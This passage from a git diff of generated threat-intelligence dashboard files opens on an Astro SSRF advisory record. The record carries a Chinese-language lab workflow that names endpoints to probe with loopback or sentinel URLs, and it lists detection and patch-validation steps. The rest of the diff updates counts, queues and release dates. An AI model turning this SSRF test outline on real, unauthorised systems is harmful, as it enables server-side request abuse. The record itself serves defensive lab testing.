"Astro", + "system_id": "astro", + "category": "frameworks", + "severity": "low", + "cvss_score": 3.1, + "exploit_status": "unknown", + "published_at": "2026-03-26T18:45:17Z", + "updated_at": "2026-03-26T19:01:26.420643Z", + "official_source_url": "https://github.com/withastro/astro/security/advisories/GHSA-g735-7g2w-hh3f", + "secondary_source_urls": [ + "https://nvd.nist.gov/vuln/detail/CVE-2026-33769", + "https://github.com/withastro/astro" + ], + "aliases": [ + "CVE-2026-33769", + "GHSA-g735-7g2w-hh3f" + ], + "secure_code_topics": [ + "authz-server-side-recheck", + "csp-trusted-types", + "ssrf-url-validation", + "dependency-upgrade-policy" + ], + "verification_status": "triage-manual", + "verification_mode": "synthetic", + "artifact_mode": "synthetic", + "blocked_reason": null, + "browser_evidence": { + "required": false, + "present": false, + "refs": [] + }, + "entity_refs": [ + { + "entity_id": "astro", + "entity_type": "system", + "relation": "root-system", + "root_system_id": "astro", + "official": true + }, + { + "entity_id": "astro--project--astro", + "entity_type": "project", + "relation": "affected-component", + "root_system_id": "astro", + "official": false + } + ], + "affected_components": [ + { + "name": "astro", + "entity_id": "astro--project--astro", + "scope": "package", + "package_name": "astro", + "official": false + } + ], + "affected_version_ranges": [ + "introduced=2.10.10, fixed<5.18.1" + ], + "fixed_version_ranges": [ + "5.18.1" + ], + "introduced_version": "introduced=2.10.10, fixed<5.18.1", + "patched_version": "5.18.1", + "version_confidence": "high", + "version_gap_reason": "", + "version_resolution_needed": false, + "advisory_scope": "package", + "workflow": { + "workflow_id": "astro--CVE-2026-33769--workflow", + "vuln_family": "ssrf", + "entry_surface": "remote-fetch-or-webhook-endpoint", + "preconditions": [ + "\u4ec5\u5728 lab-local\u3001lab-public \u6216\u660e\u786e\u6388\u6743\u76ee\u6807\u4e2d\u6267\u884c\u3002", + "\u786e\u8ba4\u76ee\u6807\u547d\u4e2d\u7248\u672c\u65ad\u8a00: introduced=2.10.10, fixed<5.18.1", + "\u82e5\u5bf9\u8c61\u5c5e\u4e8e `package`\uff0c\u5148\u786e\u8ba4\u6269\u5c55/\u4ed3\u5e93/\u5305\u5df2\u542f\u7528\u5e76\u5904\u4e8e\u53d7\u5f71\u54cd\u7248\u672c\u3002" + ], + "required_role": "editor-or-admin", + "affected_version_assertion": [ + "introduced=2.10.10, fixed<5.18.1" + ], + "trigger_vector": "\u5bf9 `ssrf` \u5bb6\u65cf\u5165\u53e3\u6295\u9012\u6700\u5c0f\u5316\u3001\u53ef\u5ba1\u8ba1\u3001\u53ef\u56de\u6eda\u7684\u53d7\u63a7\u8f93\u5165\uff0c\u6bd4\u8f83\u4fee\u590d\u524d\u540e\u5dee\u5f02\u3002", + "request_or_ui_path": [ + "/webhook/test", + "/remote-fetch", + "/import-url" + ], + "input_shape": "\u63d0\u4ea4\u53d7\u63a7\u56de\u73af\u6216\u54e8\u5175 URL\uff0c\u9a8c\u8bc1\u534f\u8bae\u3001\u4e3b\u673a\u3001IP \u4e0e\u91cd\u5b9a\u5411\u9650\u5236\u3002", + "expected_unsafe_behavior": "\u670d\u52a1\u7aef\u5411\u53d7\u63a7\u76ee\u6807\u53d1\u8d77\u975e\u9884\u671f\u8bf7\u6c42\u3002", + "server_evidence_points": [ + "\u5e94\u7528\u65e5\u5fd7\u4e2d\u7684\u547d\u4e2d\u8def\u5f84\u3001\u9274\u6743\u51b3\u7b56\u548c\u5f02\u5e38\u6808", + "\u53cd\u5411\u4ee3\u7406\u6216\u8fb9\u754c\u5c42\u65e5\u5fd7\u4e2d\u7684\u8bf7\u6c42\u5934\u3001\u6765\u6e90 IP \u4e0e\u8def\u7531\u51b3\u7b56" + ], + "browser_evidence_points": [ + "\u57fa\u7ebf\u622a\u56fe\u4e0e\u653b\u51fb\u540e\u622a\u56fe\u7684 DOM/\u89c6\u89c9\u5dee\u5f02", + "console\u3001network \u4e0e response metadata \u4e2d\u7684\u5f02\u5e38\u4fe1\u53f7" + ], + "db_or_fs_evidence_points": [ + "\u6570\u636e\u5e93\u4e2d\u65b0\u589e/\u8d8a\u6743\u8bfb\u53d6\u7684\u6d4b\u8bd5\u6570\u636e", + "\u6587\u4ef6\u7cfb\u7edf\u4e2d\u65b0\u589e\u4e0a\u4f20\u6837\u672c\u3001\u7f13\u5b58\u6761\u76ee\u6216\u8d8a\u6743\u8bfb\u53d6\u75d5\u8ff9" + ], + "detection_signals": [ + "WAF / reverse proxy \u5f02\u5e38\u65e5\u5fd7\u3001\u8bbf\u95ee\u65e5\u5fd7\u548c\u544a\u8b66", + "\u5e94\u7528\u5ba1\u8ba1\u65e5\u5fd7\u4e2d\u7684\u6743\u9650\u9519\u8bef\u3001\u91cd\u5b9a\u5411\u5f02\u5e38\u3001\u6a21\u677f\u6e32\u67d3\u6216\u4e0a\u4f20\u843d\u76d8\u4e8b\u4ef6" + ], + "mitigation_summary": "\u4f18\u5148\u5347\u7ea7\u5230\u4fee\u590d\u7248\u672c\uff0c\u5e76\u540c\u65f6\u6536\u7d27\u8f93\u5165\u6821\u9a8c\u3001\u670d\u52a1\u7aef\u9274\u6743\u3001\u4ee3\u7406\u4fe1\u4efb\u8fb9\u754c\u3001\u6269\u5c55\u5b89\u88c5\u4fe1\u4efb\u548c\u5ba1\u8ba1\u65e5\u5fd7\u3002", + "patch_validation_steps": [ + "\u786e\u8ba4\u76ee\u6807\u7248\u672c\u4ece `introduced=2.10.10, fixed<5.18.1` \u5347\u7ea7\u6216\u56de\u79fb\u5230 `5.18.1`\u3002", + "\u4fdd\u7559\u540c\u4e00\u7ec4\u53d7\u63a7\u8f93\u5165\uff0c\u5728\u4fee\u590d\u524d\u540e\u5206\u522b\u6267\u884c\u5e76\u6bd4\u5bf9\u54cd\u5e94\u3001\u65e5\u5fd7\u4e0e\u6d4f\u89c8\u5668\u8bc1\u636e\u3002", + "\u786e\u8ba4\u4fee\u590d\u540e\u4ec5\u4fdd\u7559\u9884\u671f\u4e1a\u52a1\u884c\u4e3a\uff0c\u4e0d\u518d\u89e6\u53d1\u8d8a\u6743\u3001\u56de\u663e\u3001\u5f02\u5e38\u6e32\u67d3\u6216\u9519\u8bef\u8bf7\u6c42\u3002", + "\u8865\u5145 `ssrf` \u65cf\u81ea\u52a8\u5316\u56de\u5f52\uff0c\u907f\u514d\u540c\u7c7b\u8def\u5f84\u5728\u63d2\u4ef6\u3001\u4e3b\u9898\u6216\u4ee3\u7406\u94fe\u4e2d\u56de\u5f52\u3002" + ], + "lab_safety_notes": [ + "\u53ea\u4f7f\u7528\u56de\u73af\u5730\u5740\u3001\u54e8\u5175\u76ee\u6807\u3001\u65e0\u5bb3\u6837\u672c\u6216\u53ef\u56de\u6eda\u6d4b\u8bd5\u6570\u636e\u3002", + "\u7981\u6b62\u9020\u6210\u6301\u4e45\u7834\u574f\u3001\u8d8a\u6743\u4e0b\u8f7d\u771f\u5b9e\u6570\u636e\u6216\u4e0d\u53ef\u56de\u6eda side effect\u3002", + "\u5982\u9700\u6d4f\u89c8\u5668\u8bc1\u636e\uff0c\u4fdd\u7559 baseline / proof \u4e24\u4efd\u5feb\u7167\u4ee5\u53ca console / network \u8bb0\u5f55\u3002" + ], + "review_state": "ready" + } + }, "spring-security--CVE-2026-22732": { "canonical_id": "spring-security--CVE-2026-22732", "title": "Spring Security HTTP Headers Are not Written Under Some Conditions", diff --git a/08-threat-intel/generated/dashboard/architecture.json b/08-threat-intel/generated/dashboard/architecture.json index 0a0d6cf8..6a5afc9a 100644 --- a/08-threat-intel/generated/dashboard/architecture.json +++ b/08-threat-intel/generated/dashboard/architecture.json @@ -1,5 +1,5 @@ { - "generated_at": "2026-03-26T10:20:35+00:00", + "generated_at": "2026-03-27T09:31:01+00:00", "title": "\u5f53\u524d\u67b6\u6784\u5e93", "summary": "\u5de5\u4f5c\u53f0\u3001\u63a7\u5236\u9762\u3001\u6570\u636e\u5c42\u3001\u6388\u6743\u8fb9\u754c\u4e0e\u7cfb\u7edf\u8986\u76d6\u7684\u5f53\u524d\u771f\u503c\u89c6\u56fe\u3002", "sections": [ @@ -39,7 +39,7 @@ }, { "label": "\u5f53\u524d\u6f0f\u6d1e\u6761\u76ee", - "value": "2419" + "value": "2422" } ], "fields": [ @@ -57,7 +57,7 @@ }, { "label": "\u751f\u6210\u65f6\u95f4", - "value": "2026-03-26T10:20:35+00:00" + "value": "2026-03-27T09:31:01+00:00" } ], "links": [ @@ -5973,7 +5973,7 @@ }, { "label": "Advisory \u6570", - "value": "2419" + "value": "2422" }, { "label": "\u72b6\u6001\u7c7b\u578b", @@ -5992,7 +5992,7 @@ "items": [ { "title": "\u4eba\u5de5\u5206\u8bca", - "summary": "\u5f53\u524d\u7d2f\u8ba1 2330 \u6761\u3002", + "summary": "\u5f53\u524d\u7d2f\u8ba1 2333 \u6761\u3002", "open": false, "fields": [ { @@ -6001,7 +6001,7 @@ }, { "label": "\u6570\u91cf", - "value": "2330" + "value": "2333" } ] }, diff --git a/08-threat-intel/generated/dashboard/data/completeness.json b/08-threat-intel/generated/dashboard/data/completeness.json index bfcafbe2..a747bccb 100644 --- a/08-threat-intel/generated/dashboard/data/completeness.json +++ b/08-threat-intel/generated/dashboard/data/completeness.json @@ -1,7 +1,7 @@ { - "generated_at": "2026-03-26T10:20:35+00:00", + "generated_at": "2026-03-27T09:31:01+00:00", "advisory_total": 89, - "registry_advisory_total": 2419, + "registry_advisory_total": 2422, "scope": "latest-run-backed-advisories", "latest_statuses": { "verified-real": 89 @@ -175,12 +175,12 @@ "active_source_count": 102, "green_source_count": 102, "failure_count": 0, - "last_fully_green_run": "2026-03-26T10:20:18+00:00", + "last_fully_green_run": "2026-03-27T09:30:44+00:00", "open_alert_count": 0, "resolved_alert_count": 101 }, "entity_coverage": { - "generated_at": "2026-03-26T10:20:34+00:00", + "generated_at": "2026-03-27T09:30:59+00:00", "cataloged_entity_total": 110, "candidate_entity_total": 7, "history_full_complete_count": 41, @@ -344,7 +344,7 @@ "entity_id": "astro--project--astro", "entity_type": "project", "display_name": "astro", - "advisory_count": 12, + "advisory_count": 13, "history_backfill_status": "complete", "latest_sync_status": "green" }, @@ -986,6 +986,14 @@ "plugin": 1 }, "top_entities": [ + { + "entity_id": "mattermost--repo--github-com-mattermost-mattermost-server", + "entity_type": "repo", + "display_name": "mattermost / mattermost-server", + "advisory_count": 14, + "history_backfill_status": "seeded", + "latest_sync_status": "green" + }, { "entity_id": "mattermost--project--mattermost-server", "entity_type": "project", @@ -994,14 +1002,6 @@ "history_backfill_status": "complete", "latest_sync_status": "green" }, - { - "entity_id": "mattermost--repo--github-com-mattermost-mattermost-server", - "entity_type": "repo", - "display_name": "mattermost / mattermost-server", - "advisory_count": 12, - "history_backfill_status": "seeded", - "latest_sync_status": "green" - }, { "entity_id": "mattermost--plugin--mattermost-plugins", "entity_type": "plugin", @@ -1954,13 +1954,13 @@ } }, "monitor_summary": { - "generated_at": "2026-03-26T10:20:18+00:00", + "generated_at": "2026-03-27T09:30:44+00:00", "active_source_count": 102, "green_source_count": 102, "source_failure_count": 0, "open_alert_count": 0, "resolved_alert_count": 101, - "last_fully_green_run": "2026-03-26T10:20:18+00:00", + "last_fully_green_run": "2026-03-27T09:30:44+00:00", "source_catalog": { "system_count": 62, "source_count": 179, @@ -1968,13 +1968,11 @@ }, "ingest": { "new_count": 3, - "updated_count": 2, + "updated_count": 0, "failure_count": 0, "systems_touched": [ - "fastify", - "nextjs", - "prestashop", - "spring-security" + "astro", + "mattermost" ] }, "validation": { @@ -1994,14 +1992,14 @@ "cataloged_entity_total": 110, "latest_version_synced_count": 95, "source_gap_count": 15, - "security_version_total": 6297, + "security_version_total": 6307, "security_version_entity_count": 83, "auto_promoted_entity_count": 10, "lab_enqueued_count": 3 }, "lab_enqueue": { "enqueued": 3, - "queue_total": 2375, + "queue_total": 2378, "pending_count": 0 } }, diff --git a/08-threat-intel/generated/dashboard/data/entity-completeness.json b/08-threat-intel/generated/dashboard/data/entity-completeness.json index 52866f82..d70a1612 100644 --- a/08-threat-intel/generated/dashboard/data/entity-completeness.json +++ b/08-threat-intel/generated/dashboard/data/entity-completeness.json @@ -1,5 +1,5 @@ { - "generated_at": "2026-03-26T10:20:34+00:00", + "generated_at": "2026-03-27T09:30:59+00:00", "cataloged_entity_total": 110, "candidate_entity_total": 7, "history_full_complete_count": 41, @@ -163,7 +163,7 @@ "entity_id": "astro--project--astro", "entity_type": "project", "display_name": "astro", - "advisory_count": 12, + "advisory_count": 13, "history_backfill_status": "complete", "latest_sync_status": "green" }, @@ -805,6 +805,14 @@ "plugin": 1 }, "top_entities": [ + { + "entity_id": "mattermost--repo--github-com-mattermost-mattermost-server", + "entity_type": "repo", + "display_name": "mattermost / mattermost-server", + "advisory_count": 14, + "history_backfill_status": "seeded", + "latest_sync_status": "green" + }, { "entity_id": "mattermost--project--mattermost-server", "entity_type": "project", @@ -813,14 +821,6 @@ "history_backfill_status": "complete", "latest_sync_status": "green" }, - { - "entity_id": "mattermost--repo--github-com-mattermost-mattermost-server", - "entity_type": "repo", - "display_name": "mattermost / mattermost-server", - "advisory_count": 12, - "history_backfill_status": "seeded", - "latest_sync_status": "green" - }, { "entity_id": "mattermost--plugin--mattermost-plugins", "entity_type": "plugin", diff --git a/08-threat-intel/generated/dashboard/data/entity-queues.json b/08-threat-intel/generated/dashboard/data/entity-queues.json index 3d436875..93d3723c 100644 --- a/08-threat-intel/generated/dashboard/data/entity-queues.json +++ b/08-threat-intel/generated/dashboard/data/entity-queues.json @@ -1,5 +1,5 @@ { - "generated_at": "2026-03-26T10:20:34+00:00", + "generated_at": "2026-03-27T09:30:59+00:00", "discovery_queue": { "count": 7, "items": [ diff --git a/08-threat-intel/generated/dashboard/data/lab-enqueue-summary.json b/08-threat-intel/generated/dashboard/data/lab-enqueue-summary.json index e95cc10d..d209b17c 100644 --- a/08-threat-intel/generated/dashboard/data/lab-enqueue-summary.json +++ b/08-threat-intel/generated/dashboard/data/lab-enqueue-summary.json @@ -1,85 +1,10 @@ { - "generated_at": "2026-03-26T10:20:27+00:00", + "generated_at": "2026-03-27T09:30:51+00:00", "enqueued": 3, - "queue_total": 2375, + "queue_total": 2378, "items": [ { - "advisory_id": "angular--CVE-2026-27970", - "system_id": "angular", - "priority": "version-sync" - }, - { - "advisory_id": "angular--CVE-2026-32635", - "system_id": "angular", - "priority": "version-sync" - }, - { - "advisory_id": "astro--CVE-2024-47885", - "system_id": "astro", - "priority": "version-sync" - }, - { - "advisory_id": "astro--CVE-2024-56140", - "system_id": "astro", - "priority": "version-sync" - }, - { - "advisory_id": "astro--CVE-2024-56159", - "system_id": "astro", - "priority": "version-sync" - }, - { - "advisory_id": "astro--CVE-2025-54793", - "system_id": "astro", - "priority": "version-sync" - }, - { - "advisory_id": "astro--CVE-2025-55303", - "system_id": "astro", - "priority": "version-sync" - }, - { - "advisory_id": "astro--CVE-2025-59837", - "system_id": "astro", - "priority": "version-sync" - }, - { - "advisory_id": "astro--CVE-2025-61925", - "system_id": "astro", - "priority": "version-sync" - }, - { - "advisory_id": "astro--CVE-2025-64525", - "system_id": "astro", - "priority": "version-sync" - }, - { - "advisory_id": "astro--CVE-2025-64745", - "system_id": "astro", - "priority": "version-sync" - }, - { - "advisory_id": "astro--CVE-2025-64757", - "system_id": "astro", - "priority": "version-sync" - }, - { - "advisory_id": "astro--CVE-2025-64764", - "system_id": "astro", - "priority": "version-sync" - }, - { - "advisory_id": "astro--CVE-2025-64765", - "system_id": "astro", - "priority": "version-sync" - }, - { - "advisory_id": "astro--CVE-2025-65019", - "system_id": "astro", - "priority": "version-sync" - }, - { - "advisory_id": "astro--CVE-2025-66202", + "advisory_id": "astro--CVE-2026-33769", "system_id": "astro", "priority": "version-sync" }, @@ -613,11 +538,6 @@ "system_id": "django", "priority": "version-sync" }, - { - "advisory_id": "fastify--CVE-2026-3635", - "system_id": "fastify", - "priority": "version-sync" - }, { "advisory_id": "ghost--050f486105", "system_id": "ghost", @@ -1179,97 +1099,12 @@ "priority": "version-sync" }, { - "advisory_id": "mattermost--Issue Identifier", + "advisory_id": "mattermost--CVE-2026-2456", "system_id": "mattermost", "priority": "version-sync" }, { - "advisory_id": "mattermost--MMSA-2025-00562", - "system_id": "mattermost", - "priority": "version-sync" - }, - { - "advisory_id": "mattermost--MMSA-2025-00566", - "system_id": "mattermost", - "priority": "version-sync" - }, - { - "advisory_id": "mattermost--MMSA-2026-00574", - "system_id": "mattermost", - "priority": "version-sync" - }, - { - "advisory_id": "mattermost--MMSA-2026-00578", - "system_id": "mattermost", - "priority": "version-sync" - }, - { - "advisory_id": "mattermost--MMSA-2026-00584", - "system_id": "mattermost", - "priority": "version-sync" - }, - { - "advisory_id": "mattermost--MMSA-2026-00589", - "system_id": "mattermost", - "priority": "version-sync" - }, - { - "advisory_id": "mattermost--MMSA-2026-00590", - "system_id": "mattermost", - "priority": "version-sync" - }, - { - "advisory_id": "mattermost--MMSA-2026-00593", - "system_id": "mattermost", - "priority": "version-sync" - }, - { - "advisory_id": "mattermost--MMSA-2026-00594", - "system_id": "mattermost", - "priority": "version-sync" - }, - { - "advisory_id": "mattermost--MMSA-2026-00595", - "system_id": "mattermost", - "priority": "version-sync" - }, - { - "advisory_id": "mattermost--MMSA-2026-00598", - "system_id": "mattermost", - "priority": "version-sync" - }, - { - "advisory_id": "mattermost--MMSA-2026-00599", - "system_id": "mattermost", - "priority": "version-sync" - }, - { - "advisory_id": "mattermost--MMSA-2026-00603", - "system_id": "mattermost", - "priority": "version-sync" - }, - { - "advisory_id": "mattermost--MMSA-2026-00610", - "system_id": "mattermost", - "priority": "version-sync" - }, - { - "advisory_id": "mattermost--MMSA-2026-00611", - "system_id": "mattermost", - "priority": "version-sync" - }, - { - "advisory_id": "mattermost--MMSA-2026-00621", - "system_id": "mattermost", - "priority": "version-sync" - }, - { - "advisory_id": "mattermost--MMSA-2026-00624", - "system_id": "mattermost", - "priority": "version-sync" - }, - { - "advisory_id": "mattermost--MMSA-2026-00625", + "advisory_id": "mattermost--CVE-2026-25783", "system_id": "mattermost", "priority": "version-sync" }, @@ -2198,16 +2033,6 @@ "system_id": "prestashop", "priority": "version-sync" }, - { - "advisory_id": "prestashop--CVE-2026-33673", - "system_id": "prestashop", - "priority": "version-sync" - }, - { - "advisory_id": "prestashop--CVE-2026-33674", - "system_id": "prestashop", - "priority": "version-sync" - }, { "advisory_id": "prestashop--a0f896f1ae", "system_id": "prestashop", diff --git a/08-threat-intel/generated/dashboard/data/monitor-summary.json b/08-threat-intel/generated/dashboard/data/monitor-summary.json index 97be32f1..40f37484 100644 --- a/08-threat-intel/generated/dashboard/data/monitor-summary.json +++ b/08-threat-intel/generated/dashboard/data/monitor-summary.json @@ -1,11 +1,11 @@ { - "generated_at": "2026-03-26T10:20:18+00:00", + "generated_at": "2026-03-27T09:30:44+00:00", "active_source_count": 102, "green_source_count": 102, "source_failure_count": 0, "open_alert_count": 0, "resolved_alert_count": 101, - "last_fully_green_run": "2026-03-26T10:20:18+00:00", + "last_fully_green_run": "2026-03-27T09:30:44+00:00", "source_catalog": { "system_count": 62, "source_count": 179, @@ -13,13 +13,11 @@ }, "ingest": { "new_count": 3, - "updated_count": 2, + "updated_count": 0, "failure_count": 0, "systems_touched": [ - "fastify", - "nextjs", - "prestashop", - "spring-security" + "astro", + "mattermost" ] }, "validation": { @@ -39,14 +37,14 @@ "cataloged_entity_total": 110, "latest_version_synced_count": 95, "source_gap_count": 15, - "security_version_total": 6297, + "security_version_total": 6307, "security_version_entity_count": 83, "auto_promoted_entity_count": 10, "lab_enqueued_count": 3 }, "lab_enqueue": { "enqueued": 3, - "queue_total": 2375, + "queue_total": 2378, "pending_count": 0 } } diff --git a/08-threat-intel/generated/dashboard/data/release-index.json b/08-threat-intel/generated/dashboard/data/release-index.json index 39e4bd3f..01cd29c0 100644 --- a/08-threat-intel/generated/dashboard/data/release-index.json +++ b/08-threat-intel/generated/dashboard/data/release-index.json @@ -1,6 +1,6 @@ { - "generated_at": "2026-03-26T10:20:34+00:00", - "version_count": 6297, + "generated_at": "2026-03-27T09:31:00+00:00", + "version_count": 6307, "versions": [ { "version_id": "angular--package--angular-core--introduced-0-last-affected-18-2-14", @@ -510,6 +510,22 @@ ], "is_latest_snapshot": false }, + { + "version_id": "astro--project--astro--introduced-2-10-10-fixed-5-18-1", + "entity_id": "astro--project--astro", + "root_system_id": "astro", + "version": "introduced=2.10.10, fixed<5.18.1", + "released_at": "2026-03-26T18:45:17Z", + "release_url": "https://github.com/withastro/astro/security/advisories/GHSA-g735-7g2w-hh3f", + "source_name": "https://github.com/withastro/astro/security/advisories/GHSA-g735-7g2w-hh3f", + "source_confidence": "official", + "security_relevant": true, + "reason": "affected", + "advisory_refs": [ + "astro--CVE-2026-33769" + ], + "is_latest_snapshot": false + }, { "version_id": "astro--project--astro--introduced-2-16-0-fixed-5-15-5", "entity_id": "astro--project--astro", @@ -800,6 +816,22 @@ ], "is_latest_snapshot": false }, + { + "version_id": "astro--project--astro--5-18-1", + "entity_id": "astro--project--astro", + "root_system_id": "astro", + "version": "5.18.1", + "released_at": "2026-03-26T19:01:26.420643Z", + "release_url": "https://github.com/withastro/astro/security/advisories/GHSA-g735-7g2w-hh3f", + "source_name": "https://github.com/withastro/astro/security/advisories/GHSA-g735-7g2w-hh3f", + "source_confidence": "official", + "security_relevant": true, + "reason": "fixed", + "advisory_refs": [ + "astro--CVE-2026-33769" + ], + "is_latest_snapshot": false + }, { "version_id": "astro--project--astro--9-1-1", "entity_id": "astro--project--astro", @@ -27119,7 +27151,7 @@ "entity_id": "mattermost", "root_system_id": "mattermost", "version": "10.11.x", - "released_at": "2026-02-23", + "released_at": "2026-02-24", "release_url": "https://securityupdates.mattermost.com/security_updates.json", "source_name": "Mattermost Security Updates JSON", "source_confidence": "official", @@ -27273,7 +27305,7 @@ "entity_id": "mattermost", "root_system_id": "mattermost", "version": "10.11.10", - "released_at": "2026-02-23", + "released_at": "2026-02-24", "release_url": "https://securityupdates.mattermost.com/security_updates.json", "source_name": "Mattermost Security Updates JSON", "source_confidence": "official", @@ -27287,7 +27319,7 @@ "entity_id": "mattermost", "root_system_id": "mattermost", "version": "10.11.11", - "released_at": "2026-02-23", + "released_at": "2026-02-24", "release_url": "https://securityupdates.mattermost.com/security_updates.json", "source_name": "Mattermost Security Updates JSON", "source_confidence": "official", @@ -27315,7 +27347,7 @@ "entity_id": "mattermost", "root_system_id": "mattermost", "version": "10.11.12", - "released_at": "2026-02-23", + "released_at": "2026-02-24", "release_url": "https://securityupdates.mattermost.com/security_updates.json", "source_name": "Mattermost Security Updates JSON", "source_confidence": "official", @@ -27623,7 +27655,7 @@ "entity_id": "mattermost", "root_system_id": "mattermost", "version": "11.2.x", - "released_at": "2026-02-23", + "released_at": "2026-02-24", "release_url": "https://securityupdates.mattermost.com/security_updates.json", "source_name": "Mattermost Security Updates JSON", "source_confidence": "official", @@ -27665,7 +27697,7 @@ "entity_id": "mattermost", "root_system_id": "mattermost", "version": "11.2.2", - "released_at": "2026-02-23", + "released_at": "2026-02-24", "release_url": "https://securityupdates.mattermost.com/security_updates.json", "source_name": "Mattermost Security Updates JSON", "source_confidence": "official", @@ -27679,7 +27711,7 @@ "entity_id": "mattermost", "root_system_id": "mattermost", "version": "11.2.3", - "released_at": "2026-02-23", + "released_at": "2026-02-24", "release_url": "https://securityupdates.mattermost.com/security_updates.json", "source_name": "Mattermost Security Updates JSON", "source_confidence": "official", @@ -27693,7 +27725,7 @@ "entity_id": "mattermost", "root_system_id": "mattermost", "version": "11.2.4", - "released_at": "2026-02-23", + "released_at": "2026-02-24", "release_url": "https://securityupdates.mattermost.com/security_updates.json", "source_name": "Mattermost Security Updates JSON", "source_confidence": "official", @@ -27721,7 +27753,7 @@ "entity_id": "mattermost", "root_system_id": "mattermost", "version": "11.3.x", - "released_at": "2026-02-23", + "released_at": "2026-02-24", "release_url": "https://securityupdates.mattermost.com/security_updates.json", "source_name": "Mattermost Security Updates JSON", "source_confidence": "official", @@ -27749,7 +27781,7 @@ "entity_id": "mattermost", "root_system_id": "mattermost", "version": "11.3.1", - "released_at": "2026-02-23", + "released_at": "2026-02-24", "release_url": "https://securityupdates.mattermost.com/security_updates.json", "source_name": "Mattermost Security Updates JSON", "source_confidence": "official", @@ -27763,7 +27795,7 @@ "entity_id": "mattermost", "root_system_id": "mattermost", "version": "11.3.2", - "released_at": "2026-02-23", + "released_at": "2026-02-24", "release_url": "https://securityupdates.mattermost.com/security_updates.json", "source_name": "Mattermost Security Updates JSON", "source_confidence": "official", @@ -27805,7 +27837,7 @@ "entity_id": "mattermost", "root_system_id": "mattermost", "version": "11.4.x", - "released_at": "2026-02-23", + "released_at": "2026-02-24", "release_url": "https://securityupdates.mattermost.com/security_updates.json", "source_name": "Mattermost Security Updates JSON", "source_confidence": "official", @@ -27819,7 +27851,7 @@ "entity_id": "mattermost", "root_system_id": "mattermost", "version": "11.4.0", - "released_at": "2026-02-23", + "released_at": "2026-02-24", "release_url": "https://securityupdates.mattermost.com/security_updates.json", "source_name": "Mattermost Security Updates JSON", "source_confidence": "official", @@ -27833,7 +27865,7 @@ "entity_id": "mattermost", "root_system_id": "mattermost", "version": "11.4.1", - "released_at": "2026-02-23", + "released_at": "2026-02-24", "release_url": "https://securityupdates.mattermost.com/security_updates.json", "source_name": "Mattermost Security Updates JSON", "source_confidence": "official", @@ -27889,7 +27921,7 @@ "entity_id": "mattermost", "root_system_id": "mattermost", "version": "11.5.0", - "released_at": "2026-02-23", + "released_at": "2026-02-24", "release_url": "https://securityupdates.mattermost.com/security_updates.json", "source_name": "Mattermost Security Updates JSON", "source_confidence": "official", @@ -37686,7 +37718,7 @@ "entity_id": "mattermost--plugin--mattermost-plugins", "root_system_id": "mattermost", "version": "10.11.x", - "released_at": "2026-02-23", + "released_at": "2026-02-24", "release_url": "https://securityupdates.mattermost.com/security_updates.json", "source_name": "Mattermost Security Updates JSON", "source_confidence": "official", @@ -37840,7 +37872,7 @@ "entity_id": "mattermost--plugin--mattermost-plugins", "root_system_id": "mattermost", "version": "10.11.10", - "released_at": "2026-02-23", + "released_at": "2026-02-24", "release_url": "https://securityupdates.mattermost.com/security_updates.json", "source_name": "Mattermost Security Updates JSON", "source_confidence": "official", @@ -37854,7 +37886,7 @@ "entity_id": "mattermost--plugin--mattermost-plugins", "root_system_id": "mattermost", "version": "10.11.11", - "released_at": "2026-02-23", + "released_at": "2026-02-24", "release_url": "https://securityupdates.mattermost.com/security_updates.json", "source_name": "Mattermost Security Updates JSON", "source_confidence": "official", @@ -38193,7 +38225,7 @@ "entity_id": "mattermost--plugin--mattermost-plugins", "root_system_id": "mattermost", "version": "11.2.x", - "released_at": "2026-02-23", + "released_at": "2026-02-24", "release_url": "https://securityupdates.mattermost.com/security_updates.json", "source_name": "Mattermost Security Updates JSON", "source_confidence": "official", @@ -38235,7 +38267,7 @@ "entity_id": "mattermost--plugin--mattermost-plugins", "root_system_id": "mattermost", "version": "11.2.2", - "released_at": "2026-02-23", + "released_at": "2026-02-24", "release_url": "https://securityupdates.mattermost.com/security_updates.json", "source_name": "Mattermost Security Updates JSON", "source_confidence": "official", @@ -38249,7 +38281,7 @@ "entity_id": "mattermost--plugin--mattermost-plugins", "root_system_id": "mattermost", "version": "11.2.3", - "released_at": "2026-02-23", + "released_at": "2026-02-24", "release_url": "https://securityupdates.mattermost.com/security_updates.json", "source_name": "Mattermost Security Updates JSON", "source_confidence": "official", @@ -38263,7 +38295,7 @@ "entity_id": "mattermost--plugin--mattermost-plugins", "root_system_id": "mattermost", "version": "11.2.4", - "released_at": "2026-02-23", + "released_at": "2026-02-24", "release_url": "https://securityupdates.mattermost.com/security_updates.json", "source_name": "Mattermost Security Updates JSON", "source_confidence": "official", @@ -38291,7 +38323,7 @@ "entity_id": "mattermost--plugin--mattermost-plugins", "root_system_id": "mattermost", "version": "11.3.x", - "released_at": "2026-02-23", + "released_at": "2026-02-24", "release_url": "https://securityupdates.mattermost.com/security_updates.json", "source_name": "Mattermost Security Updates JSON", "source_confidence": "official", @@ -38319,7 +38351,7 @@ "entity_id": "mattermost--plugin--mattermost-plugins", "root_system_id": "mattermost", "version": "11.3.1", - "released_at": "2026-02-23", + "released_at": "2026-02-24", "release_url": "https://securityupdates.mattermost.com/security_updates.json", "source_name": "Mattermost Security Updates JSON", "source_confidence": "official", @@ -38333,7 +38365,7 @@ "entity_id": "mattermost--plugin--mattermost-plugins", "root_system_id": "mattermost", "version": "11.3.2", - "released_at": "2026-02-23", + "released_at": "2026-02-24", "release_url": "https://securityupdates.mattermost.com/security_updates.json", "source_name": "Mattermost Security Updates JSON", "source_confidence": "official", @@ -38375,7 +38407,7 @@ "entity_id": "mattermost--plugin--mattermost-plugins", "root_system_id": "mattermost", "version": "11.4.x", - "released_at": "2026-02-23", + "released_at": "2026-02-24", "release_url": "https://securityupdates.mattermost.com/security_updates.json", "source_name": "Mattermost Security Updates JSON", "source_confidence": "official", @@ -38389,7 +38421,7 @@ "entity_id": "mattermost--plugin--mattermost-plugins", "root_system_id": "mattermost", "version": "11.4.0", - "released_at": "2026-02-23", + "released_at": "2026-02-24", "release_url": "https://securityupdates.mattermost.com/security_updates.json", "source_name": "Mattermost Security Updates JSON", "source_confidence": "official", @@ -38403,7 +38435,7 @@ "entity_id": "mattermost--plugin--mattermost-plugins", "root_system_id": "mattermost", "version": "11.4.1", - "released_at": "2026-02-23", + "released_at": "2026-02-24", "release_url": "https://securityupdates.mattermost.com/security_updates.json", "source_name": "Mattermost Security Updates JSON", "source_confidence": "official", @@ -38491,7 +38523,7 @@ "entity_id": "mattermost--plugin--mattermost-plugins", "root_system_id": "mattermost", "version": "11.5.0", - "released_at": "2026-02-23", + 